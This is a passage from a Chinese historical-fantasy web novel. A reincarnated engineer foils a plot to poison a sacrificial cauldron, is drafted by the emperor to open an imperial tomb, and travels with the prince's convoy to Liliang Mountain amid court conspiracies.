为首一人二话不说,直取慕容青面门,慕容青长刀如怒涛,反手横扫,力贯长虹!这一刀直接斩断对方兵刃,余势未歇,那尚且蒙着黑面巾的头颅直接被劈飞出去,热血喷溅石壁!
与此同时,公主迅雷不及掩耳之势从慕容青身侧滑出!她手腕一抖,软剑灵蛇般刺向第二人咽喉,剑尖从那人颈后透出来,寒芒一点。
她抽剑,血箭飙出!软剑诡异一折,正挡下第三人暴起的突击。
慕容青大开大合招式霸道,刀锋过处,断肢残刃四溅,而公主剑走轻灵,紧随其后,化作一团银光,闪动间必有一人仰面倒下!
甬道狭窄,黑衣人难以列阵围剿,两人一力一巧,互相掩护配合,竟是硬生生杀退半数,脚下石砖迅速被粘稠的血覆盖,尸骸堆积垒起。
然而这些杀手全是死士,悍然不惧,前仆后继!慕容青双臂麻木渐重,刀越来越沉,每一次运劲,体内的毒就更甚一分,她的视野发黑,感知已不再敏锐。
须臾之间,她的左肩被弯刀划开深口,背后也受了伤,公主转势荡开刺来的兵刃,护在她身前,一力敌之!
这样下去不行。
慕容青勉强提气,挥刀逼退数人,拉着公主转身向甬道深处逃去。这条路再往前便是分水尖,一边可通往地宫,另一边则是另一条分流水道,或许还能寻一线生机。
“慕容青就在前面!杀了他们!”
“不留活口!”
奔逃之中,慕容青彻底毒发,长刀脱手,气力不济,已是强弩之末。她口齿模糊让公主先走,对方却是不肯,就这样硬拖着她,许是踩中了什么——她五感渐失,听不到机括的响声,但隐约还能瞥见,幽暗的甬道深处,石壁顶翻出暗孔——那是放箭的机关,预先设置好的。
……
昭早早眼角渗出泪来,这个梦,是她最初做过的。
36. 祭祀
白露刚过,晨风已带凉意。
王城北郊的祭坛业已竣工,九层汉白玉台基,层层叠叠,取九重天之意。围栏精雕蟠龙云纹,望柱顶端蹲踞着栩栩如生的四神兽,最高处的天心台以青金石铺就,光可鉴人。
祭奠不日就要举行,此处昼夜皆有官兵把手,昭早早与领头的王校尉都混了个脸熟,因她时常以工部计料的名头,过来清算土石用料——
实则账早已记完,她是故意抄错几处,假作糊涂,好不时来查验看看有没有什么问题。
祭坛自然是由工部尚书亲自查验过的,世子亦有监督,但谁能保证不会被人再动手脚……息壤、玉料,暗中之人一计不成再生一计,并未停手。
她不得不堤防。
前尘不论,至少她今生绝不可以再重蹈覆辙。
“怎的你小子又来了?”王校尉揶揄道,“三日后便要祭祀,一会祭鼎都要从太庙搬来了,你的账却还未算好,小心俸禄罚光。”
昭早早呵呵干笑两声,工部只有男子的号衫,她穿着再簪花戴彩着实奇怪,索性也就只简单束了个发,不知情的人都以为她是男子。
她也懒得多作解释,愁眉苦脸说:“所以我今日一定要细细再算一遍。”
她像模像样拿出她那套规、矩、准、绳,沿着环形台基各处屈指敲击,声音沉闷坚实,并无空响。又丈量各处,手指一寸寸摸过每一条石缝、栏柱,甚至是咬合在一处的榫头。
都挺结实的。她略略放心,至少不用担心祭坛当场垮塌,那别说肖平,所有的匠人也都难逃干系。
“校尉!山河鼎到了!”通报的人高声道。
昭早早抬眼看去,八个壮汉肩扛粗大木杠,正将一尊需数人合抱的青铜巨鼎,缓缓抬上天心台的正中央。
鼎落青石,发出一声沉重的闷响,这应该就是祭祀要用的礼器——“山河鼎”,鼎身蟠螭纹缠绕,兽首衔环,古拙厚重,历经岁月与香火熏染,泛出青玉般的光泽。
鼎壁内外,已预先涂满了滋润的油膏。
昭早早故意探头探脑,装作乡巴佬的模样凑上前看,王校尉嗤笑一声,便和礼部的人去做交接,昭早早趁机探身向内检视,伸手摸了一把。
油脂混合香料的气味扑鼻而来,然而,就在这浓烈的气息之中,她竟然感觉到了一丝熟悉——她闻过这个味道,在哪里来着?
彩丹城,歌戏楼,闵栀给她点的什么“离魂引”……昭早早无语,敢情那女人给她下毒一事千真万确。
照闵栀当时的说法,离魂引奇毒无比,服下可致人七窍流血,便是点燃后散发出的毒烟,也可使人慢性中毒。
且不知为何于她无效,祭祀当日大鼎一点,烈焰腾空,毒烟弥漫……中毒的届时恐怕远不止肖平一个,牵涉之广,难以估量。
昭早早暗骂,这么多毒药拿来涂鼎,也是下血本了,当真不顾一切要置肖平于死地。
肖平这个流落在外的世子是老皇帝特地召回来牵制晋王的,而此毒显然与武阳侯脱不了干系,他们如此明目张胆,大行其事,看来那老东西近些年沉迷寻仙问药、长生不老,已久疏于朝政,皇权势弱。
眼下要破此局,也简单得很,她甚至不需要去找肖平告知缘由——没有点燃前,她其实也难以证明其效,空口无凭,交待前因后果也很麻烦。
昭早早记得这附近是有农户的,有农户就有农田,有农田就有耕牛。而牛粪是一种非常干燥、方便拿取的东西,她只消捏吧捏吧给它们团成球,远远躲在树上往鼎里抛,动作够快,就不会有人发现。
*
实在是很蹊跷,王校尉吩咐手下的空档,老听到祭坛上方传来咚咚的轻响,回头看又什么都没有发现。过了一会工部的小匠人跑来说:“王校尉!大事不好!”
他被其严肃的神情唬了一跳,按刀上前:“何事惊慌?”
对方眉头紧锁,指着山河鼎道:“这里面有屎。”
“胡说八道!”王校尉吹胡子瞪眼,“绝无可能!”
他一边说一边跑上去看,老天爷,竟真的有。
王校尉脸色“唰”地白了,怎么刚才还没看见?
“许是位置刁钻,光线不足,我也是细看才发觉的。”小匠人道,“此等污秽存于祭天礼器之内,一旦点燃,秽气升腾,亵渎神明,我等万死难辞其咎啊!”
王校尉额头见汗,惊疑不定,“如此严重?!”
“清理出来,再刷洗干净就好了。”小匠人指着河流的方向道,“叫弟兄们去那边抬几桶水来,咱们刷洗一番,重新上油,谁知道呢。”
“言之有理。”王校尉不敢怠慢,立刻差人去办。
等水来了,小匠人也抄起一把刷子帮忙,待鼎内洗刷光洁,又重新涂好油料,王校尉这才心有余悸地长舒气,暗叹躲过一劫。
*
三日后,东方天际洇开一片朦胧的鱼肚白,浅淡的晨光中钟鼓齐鸣,祭天大典的奏乐声响彻祭坛内外。天心台下方,文武百官依品级环立,人人屏息垂首,神色肃穆。
而诸如昭早早这类征召来的工匠,当然是远远排不上号,压根就没有参与祭祀的资格,她便乐得混到祭台外乌泱泱的百姓堆里,和他们一起远远观礼。
世子肖平一身繁复庄重的祭袍,立于天心台之上,身姿如松,自有股令人折服的沉稳气度。
他手持祭文,诵声朗朗,祈愿苍天庇护、祖宗保佑,祝祷山川永固、海晏河清。
待念诵完,他不疾不徐地脱下最外层的祭袍,与祭文一并投入鼎中,下一步,应是有人递上火把与燃料,交由他点燃,寓意上达天听。
昭早早没想到,举来火把的竟是一位年约五旬,霜发如雪的女道长,她步履从容,一身玄色镶银边的法衣,发髻梳理得一丝不乱,以一顶素银莲花冠束住。
昭早早还没来得及猜测她的身份,身边已有人惊呼道:“玄羽国师!”
“快看,国师大人来祭祀了!”
“国师慈悲!”
百姓们语气敬重,赞叹不已,昭早早凝神望去,只见玄羽国师面容清癯,脂粉未饰,但一双
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眸子温润平和,内蕴神光,确有一股世外高人的风采。
她一步步踏入天心台正中,却并未将火把递给肖平,而是亲自投进山河鼎。
火焰如金蛇狂舞,跃动窜起,烟雾翻腾而上。
肖平不动声色地退后一步——却不是因为中毒,而是主动让出了主祭的位置。
昭早早趁机看向百官队列,果然见晋王脸色阴沉,似有不解。
玄羽国师在鼎前高声吟诵经文,她的声音异常清越,如同山涧清泉,带着一种奇异的、安抚人心的韵律,莫说百姓听得如痴如醉,那文武百官中满脸敬畏、虔诚的也不在少数。
不愧是一国教宗,举手投足之间,皆带着浑然天成的神圣感与威仪,坛下观礼者无不仰望,所有的目光一时都汇聚在那玄色身影之上。
“定是国师法力护持,方才如此顺利。”
“那是,云天观施医赠药,收孤办学,救了多少人性命,帮了多少人前程!”
“国师功德无量!”
“论善行修为、泽被苍生之德望,再无人能及国师,自该由她祭天哩!”
昭早早默默地听着这些细碎的议论,明明是世子主持的祭祀大典,却叫国师受了万民敬仰。
如果不是她和丑陵地图有所牵涉,或许自己也会以为这是位仙风道骨的大圣人。
外表看起来、所知晓的,有可能与真相大相径庭,她最是明白不过。
忽然间她感知到一束探究的视线正注视着自己,一瞬间与之对望——是武阳侯!
他就站着百官前列,此前垂首不显,而此刻祭典快要结束,他率众退下祭坛,或许便在人群中注意到了她,或者说,是他。
为了让王校尉放行且给自己一个前排的位置,昭早早今天也穿着工部的男子号衫。
她心中冷笑,这幅五官面帽,该是让武阳侯想起了故人。
她又何尝不是,前尘旧梦,桩桩件件都指向这个辜恩背义之徒,如果可以,她简直想一刀杀了他。
短暂的对视后,武阳侯极为自然地移开了目光,仿佛只是随意地扫视了片刻坛下景象。他脚步未停,缓缓顺玉阶而下。
在他之后,昭早早倒是瞧见了一个面向十分肖似前丞相裴懿的人,看来裴家后继有人,依然颇受重用。
当夜,天幕如洗,银河倾泻。
据司天监观星奏报,帝星光芒大盛,赤气贯紫,乃“圣体康泰,国祚绵长”之大吉兆。
然,北斗明耀拱卫紫微,这亦是上天预示东宫有主,才能稳固国本的征兆。
此星象一出,朝中老臣更是连番上疏,请求建极帝早建储副,以顺意天意。
祭祀事了,玄羽国师和晋王世子皆有重赐,工部众人因着坛场之功,亦得沾些雨露。
又过数日,征调来的民夫工匠,结算完了微薄工钱,都退潮般四散归乡。
昭早早亦收拾好行囊,归还了工部的木牌号衫,只是尚未决定要何时离开。
一纸朱批却是教她走不了了,帝王急诏,宣她入宫觐见。
37. 诏见
玉临川甚是慌乱,不知陛下缘何突然召见他这个名不见经传的外甥女,打点了传旨太监,也只笑盈盈说是大大的好事,莫要惊慌。
昭早早镇定得出奇,只让舅母借她妆奁匣子,并水粉烟罗长裙,素纱披帛等物,并请宫中人稍等片刻,她略作梳妆,以免蓬头垢面,冲撞了圣体。
待她重新跨出门来,众人都是一惊,分明眉眼还是凌厉,却被这绫罗绸缎、珠玉钗环一裹,像是锋利的刀塞进了锦绣的鞘,别有一番精致的英姿勃勃,不失为美人胚子。
太监哂笑,此女倒是很有心机,只怕一会要教她失望。
太极殿上,御座高踞,九五至尊半张脸隐在垂落的冕旒珠帘后,但还是老态毕现,躯干也佝偻了。
昭早早跪拜行礼,就当是提前送他上路。这般狭路相逢,她虽是有心将之碎尸万段,奈何……奈何。
传旨太监事前自然是叮嘱过她这样的乡野草民觐见天颜的礼数,她照本宣科念完,御座之人让她抬起头来。
又是一番对视。
建极帝定定细看她的脸,昭早早不闪不避——越是心虚,越惹人怀疑,她坦荡行事,反而不会有人把她和十五年前的孤魂联系到一起。
毕竟性别迥异,年纪也不符,加之两种装扮大相径庭,最多也不过有几分神似而已。
被凝视这许久,昭早早恰到好处做出拘谨神情,又低下头去。
方才余光所见,武阳侯亦静立殿内,面上无波无澜,另有一中年人蟒袍加身,站于稍前处,倒是满脸迷惑,但很快也释然。
如此甚好。
“昭氏,朕听闻尔之祖父乃前朝将作大匠,曾营造先帝陵寝。”
建极帝嘶哑的声音自高处传来,昭早早不明他为何提起此事。
按说修坛祭天之事概因丑陵而起,一个十五年前无足轻重、做了替罪羊的四品官,建极帝能记到今天才有鬼,还特地召见他的孙女,显然有所图谋。
她“惊惶不安”,俯首未答。
“近日地动,亥陵受损,恐妨龙脉。”
建极帝并不在乎她如何态度,“朕念尔家学渊源,特擢尔为将作丞,率所司匠役随晋王世子克日赴利琅山修葺。”
怎么又牵扯到肖平?
且不论她根本没有听闻地动一事,即便属实,朝廷岂会启用名义上的“罪臣”之后,更何况她还是不被世俗认可的女子之身。除非这件事非她不可……
昭早早还没有应声领旨,晋王先一步出列躬身道:
“臣代犬子恭领圣命。陛下忧心国祚,仁德昭彰,臣即令其束装就道,必不辱命。”
言罢晋王行礼告退,武阳侯紧随其后,离开时目光若有似无地掠过昭早早,阴冷湿滑的眼神,草蛇一样。
昭早早八风不动,以不变应万变,她会被皇帝召来,武阳侯多半脱不了干系……看来那天他离开之后,调查过自己。
“斗胆叩问陛下,不知亥陵何处受损?”昭早早假作惶恐道,“若是修缮明楼、宝城尚可,地宫的话,有通天藤阻隔中间,活人如何得入?”
建极帝漫不经心道:“正因不明,方需要尔等前去勘验。既是将作大匠之后,朕相信你定有良策。帝陵关乎龙脉,乃国之气运所系,纵使玄宫洞开,亦须探明究竟。”
果然如此,因着保密,地宫关键构造仅口传心授,至多在施工时临时绘制简图,以暗语标注,完工即销毁,不会留下任何文书记录。
而狗皇帝认定昭家人熟知地宫机关,能寻找薄弱处自上而下掘入,直接从底部挖进去。
但他又不把话说明,而是强派任命,等回头自己迫于无奈真这么做了,引朝议哗然,他便可推诿干净,再顺势杀人灭口。
好一番老奸巨猾的狠毒算计,若自己还是从前不谙世事的工家女,只怕眼下还很庆幸能得帝王重用。
这分明是一条凶多吉少的不归路。
难怪晋王方才喜形于色,肖平好歹也是他的骨血,他却一点也不顾念父子之情,只欲除之而后快。
天家凉薄,莫过于此。
而老皇帝又利用这一点给晋王下了什么套,谁知道呢?看他们这一对曾经狼狈为奸谋朝篡位的兄弟如今狗咬狗,还真是讽刺。
建极帝停顿片刻,鹰隼般的目光锁向她,意有所指道:
“若查明先帝不合天意,与龙气相冲,才致地脉动荡,便该先迁出梓宫,带回王都,此后再另择吉壤安奉。尔可明白?”
这就不仅仅是要她打开亥陵了——迁坟,建极帝所图不小。
同样涉及地宫,此前丑陵一事,真的就如表面一般,只是帝王降罪,国师求财么?
昭早早心中冷笑,面上装作吓傻了的模样,结结巴巴答不出话。
她这样的人在皇帝眼中无非草芥,建极帝轻蔑道:“行了。届时尔只需听令行事,退下罢。”
昭早早行礼告退,面无表情踏下丹墀。
行至殿外有一段距离,她隐约闻得建极帝命人“密召见晋王世子”的吩咐。
局势已然暗潮汹涌,她注定无法置身事外,罢了,左右亥陵中也有她想要做的事,不如趁此机会。
而昭早早离去不久,大殿之上率先现身的却是玄羽国师。
她依然一派仙风道骨,款语温言道:“海外仙方的真伪,陛下只消派人赢回先帝梓宫,便可立见分晓。”
“如此甚好。”
建极帝语调慵懒,看起来不甚上心的模样,实则他愈是在意,愈是习惯装得云淡风轻。
这么多年来,耗费诸多人力物力,在海外探寻长生之道得到的线索,终于有了眉目,如今只待棺椁运回,一验便知。
晋王和武阳侯的车驾一前一后,拐入闹中取静的落雨轩,停在别苑暗门。护卫无声散开,守住各处门廊。
此间表面是间清雅曲苑,赏舞观花,品茗听曲,实则内里别有洞天,别苑是权贵们偏爱的密谈之所。
而前庭,今日裴家举办清谈诗会,聚集了不少文人墨客。
屋里烹茶点香,烟气袅袅。
晋王放下茶盏,眉宇间尽是不耐:“不过一介匠女,若觉可疑,随便寻个罪名杀了便是,何必大费周章?把她塞进亥陵那趟浑水里,徒增变数。”
武阳侯摩挲着翡翠扳指,平心静气道:“王爷此言差矣。”
他声调很低,却字字清晰:“若她真与慕容氏有关,动用官差必然打草惊蛇。届时天大地大,再到哪里去抓。慕容家的人若想销声匿迹,便是掘地三尺,也未必能摸到一片衣角。”
他语气笃定,带着一丝忌惮,晋王眉头紧锁,显然对这个答案并不完全信服,“慕容氏早都灭族多少年了,仅凭那女人与慕容青略有几分俏似,何以断定就是余孽?”
武阳侯嘴角勾起一抹难以捉摸的弧度,并未反驳,而是忽然意味深长道:“王爷不觉得您府上那位世子,眉眼之间,也隐约带点那位公主的影子么?”
晋王闻言脸色骤然阴沉,怒道,“她一贯白纱覆面,谁记得她长什么样子,此等揣测,未免太过捕风捉影!”
雅阁内气氛顿僵,武阳侯眼看着晋王失态,好整以暇地笑了笑说,“王爷息怒。”
晋王对宁平公主没什么印象,他却不一样。
十五年前于利琅山的围猎中,他躲在暗处,最后一次窥视她在月光下的脸。
那惊鸿一瞥的印象虽已模糊,但那份独特的清冷与坚毅,说不清道不明的气质,时至今日,仍叫人记忆犹新。
“上个月有人夜闯我的府邸,身手诡秘,至今未能擒获。这一桩桩一件件,免太过凑巧了些。”武阳侯笑容不变,轻飘飘道,“宁可错杀,不可放过,这道理,王爷应比我更懂。”
他顿了顿,眼中寒芒更盛,“总归这一行九死一生。地宫险恶,光通天藤就是一道催命符,早没有什么护身的法宝可用。就算侥幸得以逃脱,我们的人也会送他们上路,不是吗?”
晋王嘴角扯了扯,面上恢复了几分平静,仿佛谈论的不是自己亲生儿子的生死,而是丢弃一件碍事的物件。
他重又端起茶杯,抿了一口,话锋回转:“又是地宫,所以他上次到底是借闵家敲打你,还是另有
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所图?这么多年都过去了,好端端的他偏要现在开陵,莫不是想在里面找什么?”
“还能找什么?”武阳侯一笑,亦举杯啜饮,“陛下所寻,不过长生罢了。”
此时门外下属来报,他听后,对晋王道:“天坛祭祀之事,令世子的声望水涨船高,连裴家都特地邀请他来参加了今日的诗会。不过方才,宫中已来人将他唤走。”
晋王嗤笑,“我那皇兄到底是信不过我,要自己许以好处,哄人替他卖命呢。说不得,不止我这王位,连那未来的龙椅也一并许诺了。”
“陛下惯爱空许,何足为惧。”武阳侯淡然道,“思及陛下当年……他如今提防兄弟,亦是人之常情嘛。”
晋王瞪他一眼,武阳侯权做没看见。雅阁内茶烟散尽,仅余冷香,轩窗外,风势渐起。
利琅山巍峨奇峻,地势复杂,天坑、地缝、绝壁、溶洞、暗河一应俱全,尤其主峰中藏有一片连绵幽深的洞穴群,此乃天地造化之功,非人力所能及。
当年营建亥陵的能工巧匠们便巧妙借用了这山腹之中现成的巨大洞穴,加以修整、拓宽、加固,构筑墓室与通道,最终打造出一座半出天然、半由人工的帝王陵寝,这使得亥陵地宫格外恢弘奇诡。
更为关键的是,亥陵工期短促,能按时竣工,是因为利琅山地下水脉纵横流淌,洞穴中亦有数条暗河,水势或缓或急,最宽处足有二十余丈,最高则有十丈。
加之暗河水量充沛,使得通船行舟成为可能,巨大的石料、沉重的梁柱、帝王的梓宫等,便是装载于特制的包底舟船之上,由精熟水性的老练船工操持驾驭。
他们深谙水道深浅与暗礁险滩所在,经由地下暗河直接将物料运抵地宫深处所需之地,远比走崎岖山路搬抬运输要省力便捷得多。
如今亥陵需行“修缮”,少不得要运入器物、材料,乃至于……还要运出不少东西。
若走陆路,不仅艰难费力,更恐磕碰损坏。因此,最稳妥高效的法子,依然是循着暗河水路通行。
故而昭早早在工部衙署见到闵栀的时候真是一点也不意外,只问道:“此番与官府合作,也由你出面调度?令尊呢?”
勿怪她存了私心,翻看工部存档,原来当年打造暗河运输船、调配船工的正在闵栀的父亲,若老头子能再度出山,自然是熟门熟路,方便许多。
闵栀此来换了一身干练打扮,发髻梳得一丝不苟,微笑答道:“昭大人,家父年事已高,腿脚不便,近年已不大过问具体船务。
利琅山山高路远,事关重大,更需精细,自当由晚辈代为操持,不敢懈怠。”她回答得滴水不漏,进退有度,不愧是世代经营水运的闵家长女。
再加上此人的决心与手段,昭早早也是领教过的,便颔首道,“那行,你看这个。”
她把从工部卷宗库中翻找出的《利琅山水脉图》徐徐展开,泛黄的皮纸上,墨线勾勒出复杂幽深的地下水道,礁石、漩涡、潜流处皆用朱砂仔细标注,密密麻麻。
水脉图闵家肯定也有存档,只是明面上任何私绘地图的行为都属于大不敬,这图只有她来拿。
“我就不班门弄斧了,”昭早早轻叩桌案道,“什么材料如何制式,船底包铁皮还是打双层,都由你们自己看着办,我只需三十艘船,和经验丰富的老船工,两个月内抵达利琅山下的潜蛟坞。”
“另外,要备有两艘宽敞的载物大船,能装下至少一丈长、九尺宽的木料。”至于什么‘木料’,她不便多说,聪明人也不会多问。
果然闵栀只是点了点头,凝神细看后,略有点为难道:“船只没有问题。只是船工方面,熟悉这种‘阴河’水道的老艄公,如今还在世的怕是不多了。”
“能寻几个是几个,师父不在总还有徒弟吧。”昭早早道,“再多配些老道的篙师,这船可翻不得。”
“明白。”闵栀利落地应下,问到最关键的问题,“工钱如何结算?”
所幸这些庶务她事前已请示好度支款项,这才能游刃有余地回答:“工部会出具兑票,若有急需,可先支三成订金。”
38. 利琅山
中秋桂香漫都城,时人皆是回家团圆,而他们这支队伍却是正相反,城门一开,便向着南方利琅山迈进。
金线蟒旗当前,前驱仪卫威风凛凛,其后车马渐次铺展,最后还有驮着辎重的牛车,和骑着骡子的道士。
竟然还有道士!
昭早早在临行前又一次见到那“溪真道长”时,不禁大受震撼,实在忍不住暗地诘问他,究竟是怎么混入此间的。
“何言混字,”溪真道长眉头微蹙,睇她一眼道:“此番开山动土难道不需醮墓祭神,祈告天地吗?贫道前次于城郊平定息壤祸事,自然深得世子信重。”
昭早早闭眼深吸一口气,这哑巴亏吃得,也是没办法——那就把最适合方外羽士的骡子分给他骑罢。
轻翎银甲的四和在前头骑马护卫世子车驾,从前总觉这两个人眉目近似,真凑一块再看又没那么像了,尤其溪真道长小胡子捋起来十分装模作样。
相较之下,还是“盗士”的他更令人欣赏,没准这次还能派上用场呢,毕竟术业有专攻。
昭早早同样骑一匹白马,不过是从马车上卸下来的,鞍辔也是临时凑上,毕竟她实在搁车里闷得烦——横竖出城也有数日,眼不眼线的无所谓了。
她由衷佩服肖平真坐得住,青罗帷裳卷起时,还能看到他在里面捧卷读书。
再见到肖平,她已不会被梦境缠身,大约是一梦浮生终了,纵有细处未尽、微末未明,但记忆有所缺漏也是人之常情。譬如她今生,一样也不记得五岁之前的种种。
此前于世子府邸集会,她以从属下官的身份光明正大拜见肖平,旁敲侧击问他今上迁陵到底所图为何,迁出来后又该择土何处。
他却不肯明说,只道她打开通路、运出先帝梓宫后便不必再管,后续自有人另行安置。
可笑,前世由她亲手奉安先帝,封闭地宫,今生再叫她想方设法把对方弄出来,还真是造化弄人。
若说丑陵还有财宝遭人觊觎,亥陵可就真说不通——建极帝最清楚不过,当年为了安抚旧臣,规制虽然未降,但真正价值连城的金玉珠宝是极少的,大多为旁的器物充数。
也就陵墓是先帝还在位时开建的,占了个龙脉十二地支的名头,总不能把他弄出来,是为了自己日后迁进去吧?
说起来建极帝妄寻长生之途,因为忌讳,至今没有着手开山修陵。
难道说他真的……昭早早被这个荒诞的猜想逗乐,建极帝从不是什么仁君,大兴劳役赶建便是,何至于此?
抢人江山便罢,抢人坟冢未免太过荒诞。
以肖平今日身份和其中的利害关系,不透露实情给自己也属正常。肖老将军明显派了一批得用的人手过来,昭早早在世子府见到好些眼熟的面孔。
而她则是特地修书一封给叔父昭明,简述此事,并暗示他切勿情急之下去寻祖父,自己应付得来,昭家现在肯定已经被人盯上,节外生枝,反易出岔子。
马车晃荡,肖平指尖翻一页书,目光与她对上,“可要进来读书?”
昭早早直摇头,“不了不了。”
官道蜿蜒,车队行至金陵城外,府官率众相迎。晌午烈日炎炎,众人驶入驿站稍歇。
工部行文早达州府,自此地起,至利琅山沿途城邑,皆须征发役夫,供朝廷驱策。故而肖平刚在驿站用了半盏清茶,工部随员便引着本地府丞前来禀报。
“启禀世子殿下,”府丞躬身,脸上堆着恭敬的笑意,“按工部行文及殿下钧旨,本府征召的役夫已齐备,特领来请殿下过目,即刻便可随队开拔,绝不延误行程。”
昭早早尚在别桌喝茶,按说她这个工部将作丞并非虚衔,也不是没穿官服——虽然依旧是男款吧,但好歹也是开了女性入仕的先河,如果国师不算做在内的话。
可沿途官员基本都极尽敷衍,有世子在场,权将她忽略不计……巴结权贵也是人之常情,罢了,她耳聪不明,该听的该看的跑不了,还能安生喝茶,亦可。
驿站外是片开阔的空地,常作往来官差集结、转运之用,此刻正候着不少人。
肖平微微颔首,放下茶盏,起身行至门外。但见尘土微扬中,上百人列成几排,个个穿着破旧的短褐,大多低着头。府衙的差役手持名册与棍棒,在一旁虎视眈眈。
府丞谄笑道:“殿下放心,都是身强力壮、出身清白,能干活的。”
肖平问:“可足龄?”
“回禀世子殿下,名册一一核对过,皆年满十四。”
驿站门窗宽敞,昭早早眺望过去,队列前几排确实如府丞所言,大抵都是壮年男子。然而,肖平却径直向后走去。
“名册无误?”肖平声调不高,语气却冷,昭早早一听就不对劲,起身也看过去,府丞脸上笑容一僵。
往后的队列中,分明夹杂着一些过分矮小的身影。他们裹在宽大的破布里更显瘦骨伶仃,裸露的腕骨细得一看就还是少年,与前面的壮汉形成鲜明的对比。
两鬓斑白、显然年事已高的也有几个,讷讷欲言,看到州官又不敢吱声。尤其是一个站在后排角落的孩子,面黄肌瘦,赤着双脚踩在地面上,身体微微发颤,仿佛一阵风就能吹倒。
“回殿下,千真万确!”府丞急忙递说名册,额头渗出细汗,“他们的生辰八字都登记在案,绝无虚假!”
岂料肖平根本就不接那名册,也不再与府丞多言,手指一点,指向那名赤脚的少年,声音清晰道,“你,出列。”
少年浑身一抖,惊恐地抬头,对上肖平冷淡的面貌,腿一软几乎跪下,被旁边的差役粗暴地推了出来。
接着,肖平又点向刚才那些个同样或年少、或年迈的身影:“你,你,还有你……出列。”
最终这役夫人数竟是少了两三层,被点出队列的人茫然无措地站在空地中央,也不敢说话,像一群受惊的鹌鹑。
府丞脸色发白,嘴唇嚅动着想解释什么:“殿下,城中尚未服劳役者仅剩这些,可否宽宥几日,下官再去……”
“不必了。”肖平抬手止住了他的话,“朝廷征役,唯名册是取,不可滥征不应役者。然此工事凶险,这些人力弱难荷,留下反误工期。”
他顿了顿,不容置疑道:“放他们归家。记档役期已满,五年内不得再次征用。”
“役期记满?”府丞愕然,随即反应过来,忙逢迎道:“殿下仁德,体恤百姓!下官明白,这就放归,快,放人!”
待那些出列的人明白过来发生了什么,哭的哭谢的谢,老人拉着懵懂的孩子就要跪下磕头,被差役喝止驱散。
昭早早一直默不作声旁观,看着那些被放归的少年大多如蒙大赦般跑远,唯独那个最后被点出的赤脚少年,磨磨蹭蹭落在后头,甚至还一步三回头地望向役夫的队伍,凹陷的脸颊上没有半点欣喜,更多的是愁苦和绝望。
那边已经在着手交接将应征的人编入队伍,昭早早悄然绕到驿站屋后,果然看到那少年蹲在树荫下,抱着膝盖,还巴巴地望着这里。她走到他面前,低声问:“你为什么不回家?”
少年惊惶抬头,认出她是贵人,吓得说不出话,昭早早又问一遍,他才断断续续说:“爹娘……都死了,我……没有家。”
昭早早叹一口气,就猜到多半是这样,她从随身的荷包里掏出几块碎银,塞进少年脏兮兮的手心。
再一想,这也不是长久之计,帮人帮到
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底,她索性又拿出一张银票,递给少年道:“财不露白,小心点花用,整个营生养活自己。”
少年攥着银子和银票,像攥住了救命稻草,眼泪大颗大颗砸在尘土里。他要给昭早早磕头,昭早早忙阻拦道,“受不起受不起,不必如此!”
“我叫李哥,敢问恩人尊姓大名,来日我好报答……”少年嚅嗫道。
这名常见,跟姓连在一起倒挺占便宜的。昭早早莞尔,她是还有个至今下落不明的哥哥……或许该说是慕容青的哥哥,若还在世,年岁怕都与方才那府丞相仿了。
“我帮你是应当的,不需要你报答。你且顾好自己。”
“……为什么?”
昭早早笑道,“力所能及,当为则为,何需缘由?你快些去,我也该走了。”
李哥闻言急忙动身,行出一段又回望,眼中有了微弱的光。他深鞠一躬,羸弱的身影很快消失在道路尽头。
察觉到四和就立于身后,昭早早心情不错,调侃道:“你不好好跟着世子,却来看我做什么?这下可不得被我的善行义举感动坏了。”
四和一脸无语,哼道,“不过救一人,算什么。”
昭早早答:“算我不以善小而不为。”
“世子命我传话,该启程了。”
“就来。”
昭早早应声跟上。
午后的阳光勾勒出她轻捷身影,肖平远远看着,驻足等候。
车轮辘辘,马蹄踏踏,碾过金陵的尘土,继续向着南方天际苍青的利琅群山驶去。
整个队伍抵达利琅山东麓时,沿途已征集役夫近千人,镇守亥陵的镇陵军只在镇陵监内为随行官吏备妥了住所,所以当务之急是在山中平阔处赶建大量简易的木棚,供人栖身居住,其次还要挖掘地灶、连通水渠、打造基本的生活工具等。
此处镇陵军的主将朱彪年事已高,告老还乡在即,办事颇不积极。
但新到任的副将非常之配合,各种调派人手帮忙,无他,此人正是肖老将军的亲孙——肖炎。
原本他是肖平的堂弟,眼下成了燕平的表弟,甭管什么弟,他出现在这里,自是为了帮衬他哥。
且不说他兄弟二人如何叙旧,肖炎见到昭早早,情绪之复杂、激动,一言难以蔽之,一时趾高气昂、冷嘲热讽,一时拐弯抹角、笑里藏刀,说白了就是想看到她悔不当初、痛哭流涕的模样。
昭早早每天忙得脚不沾地,哪有空搭理他,让他没事带人多去山上伐木。
期间,昭早早还抽身前往潜蛟坞接应了闵栀的人和船,见他们随船居然还带了好几笼公鸡,不由好奇道:“这些是干什么用的?”
要吃鸡蛋也得是带母鸡,公鸡显然有它特殊的用途。闵栀微微一笑,解释道,“山洞暗河狭窄积淤处或有毒瘴之气,它们能比人更早察觉,发出警报。”
“原来如此。”昭早早点头,见船队中有两张面孔依稀眼熟,仔细辨认,原是装扮过的阿琛和徐生,看来闵栀这趟是带上了不少心腹。
闵家在朝中经营多年,此前又遭了难,自然愈发警惕。
最后一拨抵达亥陵营地的是工部军器局的押运队——十余辆覆篷车,满载开山用的火药,由精锐兵士严密护送至此。
朝廷对火药的管控向来精细,交接文书后,沉重的木箱被小心翼翼卸下,存入特设的干燥地窖,由专人把守,以防有失。
不知是巧合抑或又暗含了武阳侯他们的手笔,负责押运的工部吏员正是数月前在祭坛青石中暗动手脚、被降职贬官到军器局的前将作丞,张铎。
还真是狭路各种相逢,至此,“修缮”亥陵所需的所有关键人马与物资,已齐聚于利琅山中。
39. 殓骨
修缮皇陵之前首先要由皇家子嗣蘸墓醮坟、祭祀山神,这是惯例,也是必不可少的礼制。
肖平特地带上云天观的道人,显是早做好打算,随行也有礼部协同的官员,一早便操办起来。
昭早早看他们忙前忙后,焚香斋戒煞有介事的模样,暗道怎么做最后不都是“与地脉相冲”,要迁坟另葬,还演得这么认真,怪有信念感。
与此同时,闵家的船员开始在山中暗河穿行,他们需要先熟悉水道通路,才能运输载货。
昭早早则是与前将作丞张铎一同先勘察整体陵寝“受损”情况,做出大致评估。
其实这里面没有张铎什么事,原本他只需要等着将火药的余量运回王城即可,但昭早早一不放心把这个八成的奸细放到山上乱晃,二来白得的人才不用白不用——
张铎从前官至将作丞,此后又能混到军器局分管火药,纵有钻营,起码也多少有些真本事在身上,她找肖平讨了一道临时任命,便带着人一路绘图测算,物尽其用。
